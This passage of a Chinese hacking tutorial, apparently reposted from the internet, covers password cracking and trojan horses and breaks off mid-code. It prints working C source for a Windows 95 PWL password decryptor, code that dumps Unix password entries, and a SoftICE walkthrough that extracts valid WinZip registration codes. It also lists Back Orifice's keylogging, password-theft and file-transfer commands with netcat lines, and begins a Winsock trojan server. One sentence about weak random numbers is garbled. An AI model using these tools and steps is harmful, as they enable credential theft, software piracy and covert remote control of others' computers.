轉自INTERNET
第八章
口令破解
第一節 口令破解器
口令破解器是一個程序,它能將口令解譯出來,或者讓口令保護失效。口令破解器一般並不是真正地去解碼,因為事實上很多加密算法是不可逆的。
也就是說,光是從被加密的數據和加密算法,不可能從它們身上反解出原來未加密的數據。其實大多數口令破解器是通過嘗試一個一個的單詞,用知道的加密算法來加密這些單詞,直到發現一個單詞經過加密後的結果和要解密的數據一樣,就認為這個單詞就是要找的密碼了。
這就是目前最有效的方法。這種方法之所以比想像得有效得多的原因是: 許多人在選擇密碼時,技巧性都不是很好。許多人還認為他的私人數據反正沒有放在網上,所以,密碼選擇也比隨便。其實,一個用戶在一個系統裡有一個帳號,就是一個通入系統的門。如果,其中一個的密碼不安全,則整個系統也就是不安全的。由於用戶的密碼的設置往往都是一些有意義的單詞,或者乾脆就是用戶名本身,使得破解器的嘗試次數大為降低。
許多加密算法在選擇密鑰時,都是通過隨機數算法產生的。但往往由於這個隨機數算法並不是真正意義上的隨機數,從而大大降低了這個隨機性,從而為解密提供了一些列的方便。比如,本來,需要嘗試1000次,但由於上述隨機性並不好,結果使得只需嘗試1000次就能成功。
還有一個原因是目前計算機的速度相當的快,而且,互聯網的存在,使得協同進行解密的可能性大為增加。這樣強的計算能力用到解密上,造成了破解的時間大為降低。
通過上述分析,可見,從理論上來講,任何密碼都是可以破解的,只是一個時間的問題。對於一些安全性較低的系統,速度通常很快。
對於那種需要一個口令或註冊碼才能安裝軟件的情況,口令破解會顯得更為簡單。這種情況你可能會經常遇到。比如安裝一個微軟的軟件,在安裝過程中通常需要你輸入一個CD-Key,如果這個CD-Key是正確的,那麼它就開始安裝。如果非法的,那麼就退出安裝。
通常有兩種方法可以使這種方式失效。
一種是修改安裝程序。因為這種方法的流程一般是在安裝的時候先彈出一個對話框,請求輸入CD-Key。接著程序會對輸入的CD-Key進行運算,最後根據得到的結果決定是繼續安裝還是退出。現在有很多調試軟件,它們提供豐富的調試功能,如單步執行,設置斷點等等。一個比較好的軟件是Soft-ICE。在運行安裝程序之前,可以在調試軟件裡設置在系統彈出CD-Key輸入對話框的時候停止執行。接著就可以用調試器跟蹤代碼的執行,將CD-Key判斷部分整個的跳過去,直接進入安裝程序。 另一個方法就是算法嘗試。由於安裝程序要對CD-Key進行運算,判斷其合法性。因此,只要知道CD-Key的算法,就能輕而易舉的進入。
已經有人對為軟的這種算法進行了探討。發現這些算法策略很簡單。
第二節 口令破解器是怎樣工作的
要知道口令破解器是如何工作的,主要還是要知道加密算法。正如上面所說的,許多口令破解器是對某些單詞進行加密,然後在比較。
可以將口令破解器用下面的圖來表示:
侯選口令產生器的作用是產生認為可能是密碼的單詞。通常有好幾種方法產生侯選密碼。一種是從一個字典裡讀取一個單詞。這種方法的理論根據是許多用戶由於取密碼有些不是很明智,比如將自己的名字,或者用戶名,或者一個好記住的單詞等等。所以,攻擊這通常都將這些單詞收集到一個文件裡,叫做字典。在破解密碼是,從這些字典裡取出侯選密碼。 另一種方法是用枚舉法來產生這樣的單詞。通常從一個字母開始,一直增加,知道破解出密碼為止。這裡,通常要指定組成密碼的字符集,比如從A-Z,0-9等等。為了便於協同破解密碼,常常需要為密碼產生器指定產生的密碼的範圍。
口令加密就是用一般的加密算法對從口令侯選器送來的單詞進行加密。通常,對於攻擊不同的系統,要採用不同的加密算法。加密算法有很多,通常是不可逆的。這就是造成了為什麼口令破解器使用的是這種結構。
口令比較就是將從口令加密裡出來的密文和要破解的密文進行比較。如果一致,那麼當前侯選口令發生器中出來的單詞就是要找的密碼。如果不一致,則口令發生器再產生下一個侯選口令。
下面我們分別介紹Unix和Windows 95屏幕保護程序的密碼算法。同時給出破解的源程序。另外還介紹Windows
NT口令破解方法。最後再舉一個軟件註冊碼破解實例。
Unix口令破解簡介
首先講講怎樣在Unix下得到口令文件。
在標準的Unix系統中,口令文件是/etc/passwd。但是在使用NIS/yp或shadow的系統時,口令數據可能放在別的地方。
口令文件中的每一條目包含7個分號擱開的區域:
用戶名
加密的password,口令有效期
用戶號碼
組號碼
GECOS信息
Home目錄
Shell
下面舉個實例:
will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
上面這個條目包含了下面的信息:
用戶名: will
加了密的口令: 5fg63fhD3d5gh
用戶號碼: 9406
組號碼: 12
GECOS信息: Will Spencer
Home目錄: /home/fsg/will
Shell: /bin/bash
當入侵者拿到了這個密碼文件後,就開始對密碼進行破解。當用戶登錄系統時,Unix將password的內容讀入,並對這個密碼進行加密,並將運算結果和口令文件中的相比較。
Unix口令破解器的基本結構就是我們前面分析的那種結構。目前較為流行的是John程序。他運行在Windows系統下,並且能很快的破解密碼。
那麼,對於shadow的口令怎麼辦呢?口令shadow是指將口令文件中的加了密的口令密文部分用一個特殊的符號表示,真正的密文放在另一個單獨的文件裡,一般的用戶無法讀到這個文件。
為了能讀到這個文件,寫一個程序,通過調用getpwent()函數來得到這個文件。程序舉例如下:
#include < pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
那麼這個shadow文件放在哪個目錄下面呢?
Unix Path Token
-----------------------------------------------------------------
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
SCO Unix #.2.x /tcb/auth/files/< first letter *
of username>/< username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
< optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
對於NIS/yp又怎樣呢?
現在的NIS (Network Information System)以前也叫yp (Yellow
Pages)。NIS的目的是允許一個網絡上的多台計算機共享配置信息,包括口令數據。NIS的目的是提高系統的安全性。如果你使用的系統是NIS的,那麼,口令文件相當小,看上去可能就是:
+::0:0:::
如果要看真正的口令,需要使用命令:"ypcat passwd"
在有的口令文件中,還包含一項數據--口令有效期。口令有效期的目的是促使用戶在一定的時間後更改口令。這樣就能提高系統的安全性。
/etc/passwd文件中如果保存口令有效期數據的話,這個條目看上去是這樣的。
will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
上面這個條目中,密文後面有一個逗號,逗號後面的便是口令有效期了。這裡是:
M.z8
對這四個字符的解釋如下:
1.口令可以不改變而存在的最大的周數。
2.口令在改變之前必須使用的最小的周數。
3&4.口令上次改變的時間,以從1970年算起的周數。
如果1和2設置成"..",表示,下次登錄的時候,必須改變口令了。隨後口令管理程序會將口令有效期移去,這樣,用戶以後就沒有口令有效期的限制了。
如果3和4設置成"..",表示下次登錄時,必須改變口令。口令有效期由前兩個字符表示。
如果第一個字符小於第二個字符,就不允許用戶改變口令了。只有root才有權力改變這個用戶的口令。必須注意,su命令並不檢查口令有效期。一個過期的口令可以在使用su是,沒有被迫改變口令的要求。
口令有效期代碼
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+
Windows 95屏幕保護口令密碼破解簡介
Window95共享目錄口令與屏幕保護口令的加密方法是相同的。共享目錄的口令密文放在註冊表的HKEY_LOCAL_MACHINE_version\u30446目錄名enc和Parm2enc兩位置,但有時註冊庫裡缺少最後一個字符的密文。明文與數列(前八個數是35,9a,4d,a6,53,a9,d4,6a)作異或運算即得密文。屏幕保護程序的口令密文放在註冊表的HKEY_CURRENT_USERS_Data下面。
關於PWL文件的一些說明:14個字符長的密碼(均轉為大寫),用它生成一個32位的密鑰,由以下算法求得一個XOR串,接下來用此XOR串 XOR
20字節長的UserName(也轉為大寫), 結果存於PWL文件offset 0x208-0x21B,
0x21C開始為一系列指向資源串的指針(當然已XOR過了)。資源串中保存的主要是該USER的一些共享目錄的口令,資源串也分別與XOR串 XOR。
由註冊表數據庫system.dat極易解出共享目錄,
因此若Win95目錄被共享(不需口令)則解出其餘需口令的目錄就變得比較簡單了。但Win95目錄沒共享怎麼辦呢?用一個叫 glide
的程序,對從將別的機器上拷回來的PWL文件進行解密。用glide解其資源,很有可能找到所需的password。
但glide程序在反解資源指針時有點問題。下面的程序對glide進行了一點改進。在password未知情況下的反解並不能保證對(這種反解利用了M$的愚蠢的錯誤,將同一
Xor串用於加密許多不同串), 但在大多情況下應沒問題。本程序來自《水木清華》BBS,並已略加改動。
#include < stdio.h>
#include < string.h>
#include < ctype.h>
#include < dir.h>
unsigned char Data[10001]; // pwl file buffer, 10K should enough!
unsigned char keystream[1001]; // xor key stream
int Rpoint[300]; // Resource pointers
int size,maxr,cracked;
void RecoverKeyStream()
{
int sizemask,i,rsz,pos;
int Rall[300];
int keylen,len;
/* find allocated recources */
sizemask=keystream[0]+(keystream[1]< < 8);
for(i=0;i< 256;i++) Rall[i]=0;
maxr=-1;
for(i=0x109;i< 0x208;i++)
{
if(Data[i]!=0xff)
{
Rall[Data[i]]++;
if (Data[i]>maxr) maxr=Data[i];
}
}
if (maxr == -1) return; // no resource
maxr=(((maxr/16)+1)*16);
// recource pointer table size appears to be divisable by 16
/* search after recources */
keylen = 2 * maxr + 20 + 2;
Rpoint[0]=0x0208+keylen; /* first recource */
for(i=0;i< maxr;i++)
{
/* find size of current recource */
pos=Rpoint[i];
if (pos >= size)
{
printf("Decrypt pwl file error!");
maxr = i;
break;
}
rsz=Data[pos]+(Data[pos+1]< < 8);
rsz^=sizemask;
pos+=rsz+2;
if(i< maxr-1)
{
while(pos < size)
{
len = (*(unsigned int*)(Data+pos)) ^ sizemask;
if (Rall[i+1] == 0 && len == 0)
break; // correct position
if (Rall[i+1] > 0 && len >= 2 && len < = keylen)
break; // may be correct position ?
pos+=2; // else, increase by 2
}
}
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
/* insert Table data into keystream */
for(i=0;i < = maxr;i++)
{
keystream[20+2*i]^=Rpoint[i] & 0x00ff;
keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;
}
cracked+=maxr*2+2;
}
void DecryptResources()
{
int i,j,rsz;
/* decrypt resources */
for(i=0;i< maxr;i++)
{
rsz=Rpoint[i+1]-Rpoint[i];
if (rsz>cracked) rsz=cracked;
if (rsz > 2)
{
printf("Recource[%02d] (length: %02d)",i,rsz);
for(j=0;j< rsz;j++)
{
unsigned char c = Data[Rpoint[i]+j]^keystream[j];
printf("%c", c >= 0x20 && c < = 0x7e ? c : '.');
}
printf("");
}
}
}
int main (int argc,char *argv[])
{
struct ffblk ffblk;
int i,done,index = 0;
FILE *fd;
char *name,ch;
if (argc< 2)
{
printf("Usage: Pwl pwlfile(s) (eg: *.pwl)");
return 1;
}
done = findfirst(argv[1],&ffblk,0);
while (!done)
{
name = ffblk.ff_name;
printf("----------File %2d: %11s------------", ++index,name);
/* read PWL file */
fd=fopen(name,"rb");
if (fd==NULL)
printf("can't open file %s",name);
else
{
size=0;
while(!feof(fd))
{
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);
/* copy encrypted text into keystream */
cracked=size-0x0208;
if(cracked< 0) cracked=0;
if(cracked>1000) cracked=1000;
memcpy(keystream,Data+0x208,cracked);
/* generate 20 bytes of keystream */
for(i=0;i< 20;i++)
{
ch=toupper(name[i]);
if(ch==0) break;
if(ch=='.') break;
keystream[i]^=ch; // xor UserName
}
cracked=20;
RecoverKeyStream();
// recover key stream (54 bytes or more)
if (maxr == -1)
printf("No resource!");
else DecryptResources();
}
done = findnext(&ffblk);
}
return 0;
}
第三節 註冊碼破解
下面將有關註冊碼破解的問題。這需要能熟練使用調試軟件及有關計算機程序設計的知識。這裡只是一個示範講解。
破解WinZip 6.3 SR-1 (32-bit)
============================
1. 運行WinZip, 選Agree, 選HELP, 選About WinZip, 按R,
Username: 輸入 Winter Lee
Register code: 輸入 48319840 (隨個人習慣)
2. 使用 Ctrl-D 進入WinICE 設斷點
BPX HMEMCPY
按F5返回到WinZip中
3. 按OK, 立即被Winice中斷
4. 取消斷點
BD *
5. 按F12多次, 按F8跟蹤進CALL 004096EA中
6. 按F10多次, 運行完CALL 004098C3後, 下指令
D AX
顯示一個字符串: 45260FF8
7. 繼續按F10運行完CALL 004099E6後, 下指令
D AX
又顯示一個字符串: 49041381
8. 懷疑上述兩個字符串即是正確的註冊碼, 重新輸入
Username: Winer Lee
Register number: 49041381
註冊成功! 用45260FF8 同樣成功
第九章
特洛伊木馬實例及其簡單實現
這裡介紹一個比較陰險的威脅網絡安全的方法:特洛伊木馬(trojan horse,或trojan)。
第一節 什麼是特洛伊木馬
特洛伊木馬是一個程序,它駐留在目標計算裡。在目標計算機系統啟動的時候,自動啟動。然後在某一端口進行偵聽。如果在該端口受到數據,對這些數據進行識別,然後按識別後的命令,在目標計算機上執行一些操作。比如竊取口令,拷貝或刪除文件,或重新啟動計算機。
攻擊者一般在入侵某個系統後,想辦法將特洛伊拷貝到目標計算機中。並設法運行這個程序,從而留下後門。以後,通過運行該特洛伊的客戶端程序,對遠程計算機進行操作。
特洛伊木馬的一個特點是,它能巧妙地運行在目標計算機系統裡,而不容易被發現。
現在有許多這樣的程序。如NetCat,Back Orifice,NetBus等等。
Back Orifice
Back Orifice簡介
Back Orifice是Cult of the Dead Cow
(cDc)在1998年8月3日發佈的。目前的下載量達到了100,000。許多人都在善意或惡意地使用這個程序。儘管這個程序並不是最優秀的黑客工具,但由於媒體的炒做,使得這個工具給人麼一個很壞的印象。
Back
Orifice被稱為「遠程管理工具」。它可以附加在別的文件或程序後,也可以單獨運行。它的服務器程序必須在目標計算機上運行之後,才能起到作用。一旦運行後,用戶就不大容易感覺到它的存在。在任務列表裡,根本就看不到它。該工具的服務器運行後,就一直在一個端口偵聽從客戶機來的命令,根據不同的命令,在目標機器上執行相應的操作。
Back Orifice的使用
Back
Orifice(以下簡稱BO)是一個客戶機/服務器(C/S)應用程序,其客戶機程序(以下簡稱BO客戶機)可以監視、管理和使用其它網絡中運行服務器程序(以下簡稱BO服務器)的目標計算機所在的網絡資源。基於文本和基於圖形的BO客戶機是運行在Microsoft
Windows機器上。當前版本的BO服務器只能在Windows 95/98中運行。
Back Orifice軟件包裡包括:
bo.txt 軟件包說明文檔。
plugin.txt 插件編程文檔。
boserve.exe Back Orifice服務器自安裝程序。
bogui.exe 圖形界面的Back Orifice客戶機。
boclient.exe 文本界面的Back Orifice客戶機。
boconfig.exe 配置BO服務器程序文件名、端口、密碼和插件的工具。
melt.exe 對由freeze命令壓縮的文檔解壓縮。
freeze.exe 壓縮文檔。壓縮文檔可被metl命令解壓縮。
只要運行BO服務器程序,就可以安裝BO服務器了。當BO服務器程序運行時,它安裝BO服務器,然後刪除自安裝程序。此方法有助於網絡環境下的安裝:只要BO服務器程序被複製到Startup目錄下就行了(譯者註:因為Windows
95/98每次啟動時都會運行該目錄下的程序)。因為BO服務器程序在自安裝BO服務器後就會刪除自已。一旦BO服務器被安裝到一台機器上,它會在每次機器啟動時運行。
需要遠程更新Back Orifice時,只要上載新版本的BO服務器程序到遠程機上,使用Process
spawn命令運行它。一旦運行,BO服務器程序將自動刪除與它將要安裝的文件同名的文件,安裝自已(覆蓋舊版本),然後在安裝目錄中運行自己,最後刪除BO服務器程序。
在安裝前,可以配置BO服務器程序的一些參數。如安裝後的BO文件名、監聽端口、加密密碼,都可以使用boconfig.exe工具配置。如果不進行配置,缺省是監聽31337端口、不使用加密密碼(數據包仍然會加密)和以"
.exe"文件名安裝。
BO客戶機通過加密了的UDP包與BO服務器通訊。要實現成功通訊,BO客戶機城建發送數據到BO服務器監聽的端口,而且BO客戶機密碼必須匹配BO服務器已配置好的密碼。
基於圖形和文本的BO客戶機都可以通過使用-p選項來設置BO客戶機數據包的發送端口。如果數據包被過濾或者有防火牆屏蔽,就可能需要從一個特別的、不會被過濾和屏蔽的端口發送。如果UDP連接通訊不能成功,則可能是數據包在發送或回送路徑中被過濾或者屏蔽了。
從BO客戶機向特定的IP地址發送命令即可對BO服務器操作。如果BO服務器無靜態IP地址,則可使用以下方法:
(1) 在基於文本的BO客戶機使用sweep或sweeplist命令;
(2) 在基於圖形的BO客戶機使用"Ping..."對話框;
(3)
設定目標IP如"1.2.3.*"。如果掃瞄子網列表,當有BO服務器響應時,BO客戶機在子網列表目錄中瀏覽,並顯示所匹配的行和子網地址。(譯者註:雖然我知道如何使用,但卻無法按原文的內容表達出來。我在以後再作詳細說明。)
以下是在現在版本的Back
Orifice中已經實現的命令。在基於圖形和基於文本的BO客戶機裡有些命令名稱不相同,但幾乎所有命令的語法格式都是一致的。在基於文本的BO客戶機中輸入
"help
command"可得到更多關於命令的信息。在基於圖形的BO客戶機中有兩個參數輸入區域,這些參數作為在"Command"列表中所選擇的命令的參數。如果未給出命令所需要的參數,BO服務器將返回"Missing
data"(丟失數據)。
Back Orifice命令如下:
(基於圖形的BO客戶機命令/基於文本的BO客戶機命令)
App add/appadd
在TCP端口輸出一個基於文本的應用程序。它允許你通過Telnet對話控制基於文本或DOS的應用程序。
App del/appdel從監聽的連接中關閉一個應用程序。
Apps list/applist列出當前監聽的連接中的應用程序。
Directory create/md創建目錄
Directory list/dir列出文件和目錄。如要顯示多文件/目錄則須使用通配符。
Directory remove/rd刪除目錄
Export add/shareadd在BO服務器上創建一個「出口」(共享)。被輸出(共享)的目錄或驅動器圖標不會出現共享圖標。
Export delete/sharedel刪除一個(共享)「出口」。
Exports list/sharelist列出當前共享名、共享驅動器、共享目錄、共享權限和共享密碼。
File copy/copy拷貝文件。
File delete/del刪除文件。
File find/find在目錄中查找符合條件(支持通配符)的文件。
File freeze/freeze壓縮文件。
File melt/melt解壓縮文件。
File view/view查看文件內容。
HTTP Disable/httpoff使HTTP服務器失效。
HTTP Enable/httpon使HTTP服務器有效。
Keylog begin/keylog將BO服務器上的擊鍵記錄在一個文本文件中,同時還記錄執行輸入的窗口名。
Keylog end停止擊鍵記錄。基於文本的BO客戶機使用"keylog stop"命令。
MM Capture avi/capavi從視頻輸入設備(如果存在)捕捉視頻和音頻信號到avi文件中。
MM Capture frame/capframe從視頻輸入設備捕捉一個視頻幀到一個位圖文件中。
MM Capture screen/capscreen捕捉BO服務器屏幕影像到一們位圖文件中。
MM List capture devices/listcaps列出視頻輸入設備。
MM Play sound/sound在BO服務器上播放一個avi文件。
Net connections/netlist列出當前接入和接出的連接。
Net delete/netdisconnect斷開BO服務器的一個網絡資源連接。
Net use/netconnect把BO服務器連接到一個網絡資源。
Net view/netview查看BO服務器上所有的網絡接口、域名、服務器和可見的共享「出口」。
Ping host/pingPing主機。返回主機名和BO版本。
Plugin execute/pluginexec運行BO插件。運行不符合BO插件接口的函數可能使B)服務器當機。
Plugin kill/pluginkill命令一個插件關閉。
Plugins list/pluginlist列出當前激活的插件和已存在的插件返回值。 Process kill/prockill終止一個進程。
Process list/proclist列出運行中的進程。
Process
spawn/procspawn運行一個程序。在基於圖形的BO客戶機程序中,如果需要確定第二個參數,進程可能以一個正常的、可見的方式運行,否則進程的運行將是隱蔽或獨立的。
Redir add/rediradd重定向接入的TCP連接或UDP數據包到另一個IP地址。
Redir del/redirdel停止端口重定向。
Redir list/redirlist列出激活的端口重定向。
Reg create key/regmakekey在註冊表中創建中一個主鍵。
註:對於所有的註冊表命令,不要在註冊表鍵值前加入前導"\"。
Reg delete key/regdelkey從註冊表中刪除一個主鍵。
Reg delete value/regdelval刪除註冊表中的一個鍵值。
Reg list keys/reglistkeys列出註冊表中一個主鍵下的子鍵。
Reg list values/reglistvals列出註冊表中一個主鍵的鍵值。
Reg set
value/regsetval設置註冊表一個主鍵的一個鍵值。鍵值格式為「類型,值」。對於二進制值(類型為B),值是一個兩位的16進制數;對於DWORD(雙字)值(類型為D),值是一個十進制數;對於字符串值(類型為S),值是一個文本串。
Resolve host/resolve解析BO服務器的主機名的IP地址。主機名可能是一個Internet主機名或本地網絡機器名。
System dialogbox/dialog用所給出的文本和一個"OK"按鈕,
在BO服務器上創建一個對話框。可以創建任意多的對話框,對話框的顯示是堆疊式的。
System
info/info顯示BO服務器上的系統信息。包括機器名、當前用戶、CPU類型、內存容量及可用內存、Windows版本、驅動器信息(類型(硬盤、CDROM、可拆卸型、遠程驅動器)、硬盤驅動器容量及未使用空間)。
System lockup/lockup鎖住BO服務器機器。
System
passwords/passes顯示被緩存的當前用戶密碼和屏幕保護密碼。所顯示的密碼中可能含有一些無用信息。(譯者註:如果密碼未被系統緩存,則不能顯示密碼。) System reboot/reboot關閉BO服務器主機並重啟動。
TCP file receive/tcprecv將BO服務器主機連接到一個特定的IP地址和端口,並保存所接收到的數據到特定文件中。
TCP file send/tcpsend將BO服務器主機連接到一個特定的IP地址和端口,發送特定文件中的內容,然後斷開此連接。
註:對於TCP文件傳輸,必須監聽特定的IP地址和端口,直到TCP文件命令被發送,否則傳輸將會失敗。
從BO服務器傳輸文件,可使用TCP文件發送命令和如下格式的netcat命令:
netcat -l -p 666 > file
傳輸文件到BO服務器,可使用TCP文件接收命令和如下格式的netcat命令:
netcat -l -p 666 < file
註:Win32版本的netcat命令在到達輸入文件末部時並不斷開連接。因此應在文件內容傳輸完畢後用ctrl-c或ctrl-break終止netcat命令。
BOConfig:
BOConfig.exe允許在BO服務器安裝前配置一些可選項。首先詢問BO服務器在系統目錄中安裝的可執行文件名。它不一定是.exe,但如果你不給出擴展名,它不會自動添加.exe擴展名;接著詢問exe文件的描述,它描述了在註冊表中記錄的、系統啟動時運行的exe文件;接著詢問BO服務器監聽(數據包)端口;接著詢問用於加密的密碼。要實現BO客戶機到BO服務器的通訊,客戶機必須配置有相同的密碼,此密碼可以為空;接著詢問啟動時缺省運行的插件。這個在BO服務器啟動時自動運行的BO插件是以"DLL:_Function"格式定義的DLL和函數。此項可以為空;然後讓你輸入啟動時傳送給插件的參數,此項也可以為空;最後,詢問被附加到BO服務器上的文件的路徑。該文件將在BO服務器啟動時寫入系統目錄。此文件可以是一個自動啟動的BO插件。
BO服務器在沒有進行配置時也能運行。缺省地,安裝BO服務器文件名為" .exe",無密碼,使用端口31337通訊。
已知的Bugs和問題:
多媒體捕捉屏幕——所產生的位圖是按BO服務器端的顯示分辨率和像素深度保存的。因此,它可能是16位或24位顏色的。大多數圖形應用程序只能處理8位或32位位圖,因而不能打開此位圖,或者顯示不正常(此類軟件包括Graphics
Workshop for Windows、Photoshop和WANG Imaging distributed with
Windows)。但是,Windows本身有一個應用程序Paint.exe可以瀏覽這些位圖,按其提示操作即可。
擊鍵記錄——很顯然,MS-DOS窗口未提供信息循環機制,這就使得BO無法記錄輸入到其中的擊鍵。
基於文本的應用程序的TCP重定向——有幾個Bugs。
當用command.com的重定向名柄輸出command.com時,系統同時輸出REDIR32.EXE,此程序似乎是無法終止的。這可能是由於操作系統接口與一個tsr模塊(該模塊在DOS對話中被裝載以重定向輸入/輸出句柄)通訊所造成的。因此,如果在應用程序被終止(或退出)前終止TCP連接,REDIR32.exe和WINOA386.MOD(用於封裝管理舊16位應用程序)將仍然運行,BO和操作系統均無法終止它們。這會導致系統顯示"Please
wait..."(請等待)屏幕且無法關機。
某些控制台應用程序重定向了輸出時也可能會發生問題,如FTP.exe和boclient.exe。雖然程序的輸出因此而不能傳送出去,但仍然可能傳送輸入,所以你要通過TCP對話使該程序退出。否則使用BO殺死該進程。
Back Orifice的檢查和清除
打開註冊表編輯器,檢查HKEY_LOCAL_MACHINE主鍵的鍵值。如果你在主鍵看到的如下的一個鍵值:
Name Data
(缺省) " .exe" (一個空格,一個點號和exe後綴)
那麼你可能已經感染上了Back Orifice了。然後在C:目錄下,如果發現一個"
.exe"文件,文件大小為122K左右,那麼你肯定感染了這個程序了。
清除的方法很簡單。首先將上述主鍵中的有關" .exe"的項目刪除,然後重新啟動計算機。接著,將C:下的"
.exe"刪除,最後,找一個叫WINDLL.DLL的文件,也將它刪除。
注意,有可能你的系統裡有好幾個Back Orifice的拷貝,要逐一清除。
NetBus
Netbus 是一個類似於著名的 Back Orifice 的黑客軟件,區別在於它的能力要強出太多。Netbus 通過 TCP/IP
協議,可以遠程將應用程序指派到某一套接字端口來運行。這就相當於說可以遠程運行目標機器上的 cmd.exe,想想這是多麼危險的事情。
如果不是 the Cult of the Dead Cow 黑客組織在1998年的 DefCon 大會上發佈 BackOrifice
工具而引起軒然大波的話,可能大多數人還不會注意到三月份發行的 Netbus。據說 Netbus 是瑞典程序員 Carl-Fredrik Neikter
為了「和朋友們消遣」而編寫的。
粗粗一看,Netbus 似乎沒什麼危害,只允許黑客控制鼠標,播放聲音文件,甚或打開 CD-ROM
托架。但如果深入分析,就不難發現其中大量的破壞性功能,特別它是基於 TCP/IP 協議在 Windows 95、Windows 98、和 Windows NT
上運行的(與 BackOrifice 不同),這大大增加了各種入侵用戶系統的可能性。
Netbus 1.6 版能實現一些相當危險的操作:黑客能夠運行遠程程序,進行屏幕抓圖,在所侵入的計算機瀏覽器中打開 URL,顯示位圖,進行服務器管理操作(如更改口令),甚至利用遠端的麥克風錄製一段聲音。更可怕的是:它能在侵入的計算機上顯示信息,向毫無戒心的用戶提示輸入口令,再把該口令返回到入侵者的屏幕上。Netbus
還能關閉 Windows 系統,下載、上載或刪除文件。
11 月 14 日發行 的 Netbus 1.7
新增了更多不正當的功能。如:重定向功能(Redirection)使黑客能夠控制網絡中的第三台機器,從而偽裝成內部客戶機。這樣,即使路由器拒絕外部地址,只允許內部地址相互通信,黑客也依然可以佔領其中一台客戶機並對其它無數台機器進行控制。 V1.7 甚至還能指派應用軟件至某個端口。以前只有 Netcat — 黑客的夢幻工具— 用於 Unix 和 NT 時才具有這種功能。例如,黑客可以將
cmd.exe 指派至 Telnet port 23,然後 Telnet 進入該機器,從而接管系統的命令提示符。其危險後果不言自明。
Netbus 的默認狀態是在 port 12345 接收指令,在 port 12346 作應答。Telnet
登錄到接收端口就會看到產品名稱及版本號,還可以修改口令。Netbus 能通過編輯 patch.ini 配置文件,把 1 到 65535
之間的任意數字指定為端口。當需要繞過防火牆或路由過濾器時,端口通常就會設為 53(DNS)或 80(HTTP)。
所有的特洛伊木馬都分成兩個部分:服務器和客戶機。
V1.7版本的NetBus的服務器的默認文件名是patch.exe。運行這個程序後,它將自己拷貝到Windows目錄下,並從中解開一個叫KeyHook.dll的動態連接庫。默認的,它創建一個主鍵HKEY_CURRENT_USER。並在HKEY_LOCAL_MACHINE下創建了一個鍵,它的值是patch.exe文件的路徑名。這使得在每次系統啟動時,都能自動運行patch.exe這個程序。除此外,還創建下面兩個鍵:HKEY_CURRENT_USER和HKEY_CURRENT_USER
按照上面的描述,清除方法就自然出來了。
第二節 特洛伊木馬的一個簡單實現
通過上面的兩個實例介紹,基本上就能看出特洛伊木馬的工作原理。這裡我們僅僅介紹用Winsock實現的一個客戶機程序和一個服務端程序。
這個實例中的服務器在接到客戶機的命令後會重新啟動計算機。
可以在這兩個程序的基礎上,加入一些命令,對目標系統進行一些修改。比如拷貝文件等等。
這兩個程序是從微軟的MSDN上拿下來的,略微作了點增加。在VC++6.0中編譯運行的。注意在連接的時候要加入:wsock32.lib庫。
ExitWindowsEx 函數介紹
ExitWindowsEx函數的功能是關閉系統,註銷用戶和重新啟動系統。
它的函數原型是:
BOOL ExitWindowsEx( UINT uFlags, DWORD dwReserved);
第一個參數用來指定操作的類型。
常見的有下面幾個:
EWX_POWEROFF:關閉系統及關閉電源。
EWX_REBOOT:重新啟動計算機。
EWX_SHUTDOWN:關閉系統,但不關閉電源。
第二個參數可以指定任意值,並沒有特定意義。
具體有關在Linux和Windows下進行SOCKET編程的細節,請參見相關章節。
服務器程序:
#include < windows.h>
#include < winsock.h>
#define PORTNUM 5000 // Port number
#define MAX_PENDING_CONNECTS 4 // Maximum length of the queue
// of pending connections
int WINAPI WinMain (
HINSTANCE hInstance, // Handle to the current instance
HINSTANCE hPrevInstance,// Handle to the previous instance
LPTSTR lpCmdLine, // Pointer to the command line
int nCmdShow) // Show state of the window
{
int index = 0, // Integer index
iReturn; // Return value of recv function
char szServerA[100]; // ASCII string
TCHAR szServerW[100]; // UNICODE string
TCHAR szError[100]; // Error message string
SOCKET WinSocket = INVALID_SOCKET, // Window socket
ClientSock = INVALID_SOCKET; // Socket for communicating
// between the server and client
SOCKADDR_IN local_sin, // Local socket address
accept_sin; // Receives the address of the
// connecting entity
int accept_sin_len; // Length of accept_sin
WSADATA WSAData; // Contains details of the Windows
// Sockets implementation
// Initiate Windows Sockets.
if (WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
wsprintf (szError, TEXT("WSAStartup failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}
// Create a TCP/IP socket, WinSocket.
if ((WinSocket = socket (AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
wsprintf (szError, TEXT("Allocating socket failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}
// Fill out the local socket's address information.
local_sin.sin_family = AF_INET;
local_sin.sin_port = htons (PORTNUM);
local_sin.sin_addr.s_addr = htonl (INADDR_ANY);
// Associate the local address with WinSocket.
if (bind (WinSocket,
(struct sockaddr *) &local_sin,
sizeof (local_sin)) == SOCKET_ERROR)
{
